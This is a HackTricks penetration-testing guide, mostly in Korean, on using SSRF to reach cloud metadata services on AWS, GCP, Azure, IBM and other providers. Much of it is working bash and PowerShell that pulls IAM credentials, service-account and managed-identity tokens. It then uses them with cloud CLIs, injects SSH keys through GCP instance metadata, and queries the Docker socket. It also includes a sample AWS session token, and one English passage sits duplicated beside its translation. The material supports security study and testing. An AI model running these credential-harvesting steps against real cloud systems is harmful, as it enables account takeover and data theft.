hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

# Cloud SSRF

{% hint style="success" %}
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{% endhint %}

## AWS

### AWS EC2 환경에서 SSRF 악용하기

**메타데이터** 엔드포인트는 모든 EC2 머신 내부에서 접근할 수 있으며, 흥미로운 정보를 제공합니다. URL에서 접근할 수 있습니다: `http://169.254.169.254` ([메타데이터에 대한 정보는 여기](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) 참조).

메타데이터 엔드포인트에는 **2가지 버전**이 있습니다. **첫 번째** 버전은 **GET** 요청을 통해 엔드포인트에 **접근**할 수 있게 해줍니다 (따라서 어떤 **SSRF도 이를 악용할 수 있습니다**). **버전 2**인 [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)에서는 **HTTP 헤더**와 함께 **PUT** 요청을 보내 **토큰**을 요청한 후, 그 토큰을 사용하여 다른 HTTP 헤더로 메타데이터에 접근해야 합니다 (따라서 **SSRF로 악용하기 더 복잡합니다**).

{% hint style="danger" %}
EC2 인스턴스가 IMDSv2를 강제하는 경우, [**문서에 따르면**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT 요청의 응답**은 **hop limit이 1**로 설정되어 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다.

또한, **IMDSv2**는 **`X-Forwarded-For` 헤더를 포함한 토큰 요청을 차단합니다**. 이는 잘못 구성된 리버스 프록시가 이를 접근하지 못하도록 방지하기 위함입니다.
{% endhint %}

[메타데이터 엔드포인트에 대한 정보는 문서에서 확인할 수 있습니다](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). 다음 스크립트에서는 이로부터 흥미로운 정보를 얻습니다:
```bash
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
```
As a **publicly available IAM credentials** exposed example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)

You can also check public **EC2 security credentials** in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)

You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do.

To take advantage of the new credentials, you will need to crate a new AWS profile like this one:  
공개적으로 사용 가능한 IAM 자격 증명 노출 예제로 다음을 방문할 수 있습니다: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)

또한 다음에서 공개 **EC2 보안 자격 증명**을 확인할 수 있습니다: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)

그런 다음 **해당 자격 증명을 사용하여 AWS CLI**와 함께 사용할 수 있습니다. 이렇게 하면 **해당 역할이 허용된 모든 작업을 수행할 수 있습니다**.

새 자격 증명을 활용하려면 다음과 같이 새 AWS 프로필을 만들어야 합니다:
```
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
```
**aws\_session\_token**에 주목하세요. 이는 프로필이 작동하는 데 필수적입니다.

[**PACU**](https://github.com/RhinoSecurityLabs/pacu)는 발견된 자격 증명으로 권한을 확인하고 권한 상승을 시도하는 데 사용할 수 있습니다.

### AWS ECS (컨테이너 서비스) 자격 증명에서의 SSRF

**ECS**는 애플리케이션을 실행할 수 있는 EC2 인스턴스의 논리적 그룹으로, ECS가 클러스터 관리 인프라를 대신 관리하기 때문에 자체 클러스터 관리 인프라를 확장할 필요가 없습니다. **ECS**에서 실행 중인 서비스를 손상시키면 **메타데이터 엔드포인트가 변경**됩니다.

_**http://169.254.170.2/v2/credentials/\<GUID>**_에 접근하면 ECS 머신의 자격 증명을 찾을 수 있습니다. 그러나 먼저 **\<GUID>**를 찾아야 합니다. \<GUID>를 찾으려면 머신 내의 **environ** 변수 **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**를 읽어야 합니다.\
**Path Traversal**을 이용해 `file:///proc/self/environ`을 읽을 수 있습니다.\
언급된 http 주소는 **AccessKey, SecretKey 및 token**을 제공해야 합니다.
```bash
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
**일부 경우**에는 컨테이너에서 **EC2 메타데이터 인스턴스**에 접근할 수 있습니다(앞서 언급한 IMDSv2 TTL 제한 사항을 확인하세요). 이러한 시나리오에서는 컨테이너에서 컨테이너 IAM 역할과 EC2 IAM 역할 모두에 접근할 수 있습니다.
{% endhint %}

### AWS Lambda에 대한 SSRF <a href="#id-6f97" id="id-6f97"></a>

이 경우 **자격 증명은 환경 변수에 저장됩니다**. 따라서 이를 접근하려면 **`file:///proc/self/environ`**과 같은 것을 접근해야 합니다.

**흥미로운 환경 변수**의 **이름**은 다음과 같습니다:

* `AWS_SESSION_TOKEN`
* `AWS_SECRET_ACCESS_KEY`
* `AWS_ACCES_KEY_ID`

게다가 IAM 자격 증명 외에도 Lambda 함수는 **함수가 시작될 때 함수에 전달되는 이벤트 데이터**를 가지고 있습니다. 이 데이터는 [런타임 인터페이스](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)를 통해 함수에 제공되며 **민감한** **정보**(예: **stageVariables** 내부)를 포함할 수 있습니다. IAM 자격 증명과 달리 이 데이터는 표준 SSRF를 통해 **`http://localhost:9001/2018-06-01/runtime/invocation/next`**에서 접근할 수 있습니다.

{% hint style="warning" %}
**lambda 자격 증명**이 **환경 변수** 안에 있다는 점에 유의하세요. 따라서 **lambda 코드의 스택 추적**이 환경 변수를 출력하면, 앱에서 오류를 유발하여 **이들을 유출할 수 있는** 가능성이 있습니다.
{% endhint %}

### AWS Elastic Beanstalk에 대한 SSRF URL <a href="#id-6f97" id="id-6f97"></a>

API에서 `accountId`와 `region`을 가져옵니다.
```
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
그런 다음 API에서 `AccessKeyId`, `SecretAccessKey` 및 `Token`을 가져옵니다.
```
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
```
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)

그런 다음 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/` 명령어로 자격 증명을 사용합니다.

## GCP <a href="#id-6440" id="id-6440"></a>

[**여기에서 메타데이터 엔드포인트에 대한 문서를 찾을 수 있습니다**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).

### Google Cloud의 SSRF URL <a href="#id-6440" id="id-6440"></a>

HTTP 헤더 **`Metadata-Flavor: Google`**가 필요하며, 다음 URL을 통해 메타데이터 엔드포인트에 접근할 수 있습니다:

* http://169.254.169.254
* http://metadata.google.internal
* http://metadata

정보를 추출하기 위한 흥미로운 엔드포인트:
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta는 현재 헤더를 요구하지 않습니다 (Mathias Karlsson @avlidienbrunn에게 감사드립니다)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
{% hint style="danger" %}
**유출된 서비스 계정 토큰을 사용하기 위해** 다음과 같이 하면 됩니다:
```bash
# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file
```
{% endhint %}

### SSH 키 추가 <a href="#id-3e24" id="id-3e24"></a>

토큰 추출
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
토큰의 범위를 확인하세요 (이전 출력 또는 다음을 실행하여)
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
이제 SSH 키를 푸시합니다.

{% code overflow="wrap" %}
```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
{% endcode %}

### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>

메타데이터 엔드포인트는 VM과 동일하게 작동하지만 일부 엔드포인트가 없습니다:
```bash
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
```
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>

{% hint style="warning" %}
AWS 역할이나 GCP 서비스 계정과 같은 것이 없으므로 메타데이터 봇 자격 증명을 찾을 수 있을 것이라고 기대하지 마십시오.
{% endhint %}

Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
## Azure <a href="#cea8" id="cea8"></a>

### Azure VM

[**문서** 여기에서](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).

* **반드시** `Metadata: true` 헤더를 포함해야 합니다.
* `X-Forwarded-For` 헤더를 **포함해서는 안 됩니다.**

{% tabs %}
{% tab title="Bash" %}
{% code overflow="wrap" %}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```
{% endcode %}
{% endtab %}

{% tab title="PS" %}
```bash
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
```
{% endtab %}
{% endtabs %}

### Azure App Service

**env**에서 `IDENTITY_HEADER` _및_ `IDENTITY_ENDPOINT`의 값을 가져올 수 있습니다. 이를 사용하여 메타데이터 서버와 통신할 토큰을 수집할 수 있습니다.

대부분의 경우, 다음 리소스 중 하나에 대한 토큰이 필요합니다:

* [https://storage.azure.com](https://storage.azure.com/)
* [https://vault.azure.net](https://vault.azure.net/)
* [https://graph.microsoft.com](https://graph.microsoft.com/)
* [https://management.azure.com](https://management.azure.com/)
```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"
```

```powershell
# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
```
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>

{% hint style="warning" %}
IBM에서는 기본적으로 메타데이터가 활성화되어 있지 않으므로, IBM 클라우드 VM 내부에 있더라도 접근할 수 없을 수 있습니다.
{% endhint %}

{% code overflow="wrap" %}
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
{% endcode %}

다양한 플랫폼의 메타데이터 서비스에 대한 문서가 아래에 설명되어 있으며, 인스턴스에 대한 구성 및 런타임 정보를 액세스할 수 있는 방법을 강조합니다. 각 플랫폼은 메타데이터 서비스에 액세스하기 위한 고유한 엔드포인트를 제공합니다.

## Packetcloud

Packetcloud의 메타데이터에 액세스하려면 문서를 참조하십시오: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)

## OpenStack/RackSpace

헤더의 필요성은 언급되지 않았습니다. 메타데이터는 다음을 통해 액세스할 수 있습니다:

* `http://169.254.169.254/openstack`

## HP Helion

여기에서도 헤더의 필요성은 언급되지 않았습니다. 메타데이터는 다음에서 액세스할 수 있습니다:

* `http://169.254.169.254/2009-04-04/meta-data/`

## Oracle Cloud

Oracle Cloud는 다양한 메타데이터 측면에 액세스하기 위한 일련의 엔드포인트를 제공합니다:

* `http://192.0.0.192/latest/`
* `http://192.0.0.192/latest/user-data/`
* `http://192.0.0.192/latest/meta-data/`
* `http://192.0.0.192/latest/attributes/`

## Alibaba

Alibaba는 인스턴스 및 이미지 ID를 포함한 메타데이터에 액세스하기 위한 엔드포인트를 제공합니다:

* `http://100.100.100.200/latest/meta-data/`
* `http://100.100.100.200/latest/meta-data/instance-id`
* `http://100.100.100.200/latest/meta-data/image-id`

## Kubernetes ETCD

Kubernetes ETCD는 API 키, 내부 IP 주소 및 포트를 보유할 수 있습니다. 액세스는 다음을 통해 보여집니다:

* `curl -L http://127.0.0.1:2379/version`
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`

## Docker

Docker 메타데이터는 로컬에서 액세스할 수 있으며, 컨테이너 및 이미지 정보 검색을 위한 예제가 제공됩니다:

* Docker 소켓을 통해 컨테이너 및 이미지 메타데이터에 액세스하는 간단한 예:
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
* 컨테이너 내부에서 Docker 소켓을 사용하여 curl을 사용합니다:
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`

## Rancher

Rancher의 메타데이터는 다음을 사용하여 액세스할 수 있습니다:

* `curl http://rancher-metadata/<version>/<path>`

{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>HackTricks 지원하기</summary>

